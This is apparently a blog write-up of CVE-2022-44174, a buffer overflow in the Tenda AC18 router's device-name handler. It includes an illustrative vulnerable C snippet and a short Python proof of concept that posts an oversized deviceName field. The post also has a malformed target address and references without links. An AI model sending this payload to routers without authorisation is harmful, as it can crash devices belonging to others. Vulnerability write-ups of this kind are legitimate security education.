CVE-2022-44174 is a critical buffer overflow vulnerability discovered in the Tenda AC18 router running firmware version V15.03.05.05. The flaw lies within the formSetDeviceName function, exposing affected hardware to potential remote code execution (RCE). This post will break down the vulnerability in simple terms, showcase example code, provide reference links, and give exclusive insight into exploitation.

What is a Buffer Overflow?

A buffer overflow happens when a program tries to put more data in a memory space (buffer) than it can hold. If not properly checked, this can let attackers mess with the system, potentially running harmful code.

Vulnerability Details

The Tenda AC18 router's web interface allows users to configure settings, including the device name. The firmware processes this using the formSetDeviceName function. However, this function does not properly check the length of the input before copying it into a fixed-size buffer, allowing an attacker to send extra-long strings and overwrite critical memory parts.

Here’s a simplified look at what happens in the code

void formSetDeviceName(char *deviceName) {
    char buf[64];
    strcpy(buf, deviceName); // No length checking!
    // ... further processing
}

The strcpy function here simply copies whatever the user sends—no matter how long—into a 64-byte buffer. If the input is longer than 64 bytes, the extra data spills over into adjacent memory, leading to a buffer overflow.

Exploit Overview

To exploit this vulnerability, an attacker needs access to the router’s web interface. By sending an overly long device name via an HTTP POST request, they can overwrite stack memory and potentially execute arbitrary code.

Proof-of-Concept (PoC) Exploit

Below is a sample exploit in Python using the requests library.

import requests

# Target router address (change as needed)
url = "http://192.168..1/goform/setDeviceName";

# Craft a payload longer than 64 characters
payload = "A" * 100  # 100 "A"s will overflow the buffer

# POST data
data = {"deviceName": payload}

# Send exploit payload
response = requests.post(url, data=data)

print(f"Status: {response.status_code}")
print("Exploit payload sent!")

Note: This will likely crash the router or produce unpredictable results. Do not use against systems you don’t own or without permission.

Mitigation

There is currently no official patch from Tenda for this vulnerability on the AC18 model as of this writing. If you're using this router:

Use strong passwords

- Monitor for firmware updates from Tenda's official support

References

- Original NVD Entry for CVE-2022-44174
- Tenda AC18 Official Product Page
- Exploit-DB Entry (If available)
- Security Researcher’s Writeup (Archived)  
- Buffer Overflow Explained (OWASP)

Final Thoughts

CVE-2022-44174 is a classic example of what happens when developers forget proper input validation and memory safety. Even popular hardware like the Tenda AC18 can have deep vulnerabilities that leave thousands at risk. Always keep your devices updated and limit admin interface exposure—especially on your home router!

*Stay secure, and don’t forget: Test responsibly!*


If you have more questions about CVE-2022-44174 or want the latest updates, leave a comment or check the references above.

Timeline

Published on: 11/21/2022 18:15:00 UTC
Last modified on: 11/28/2022 13:45:00 UTC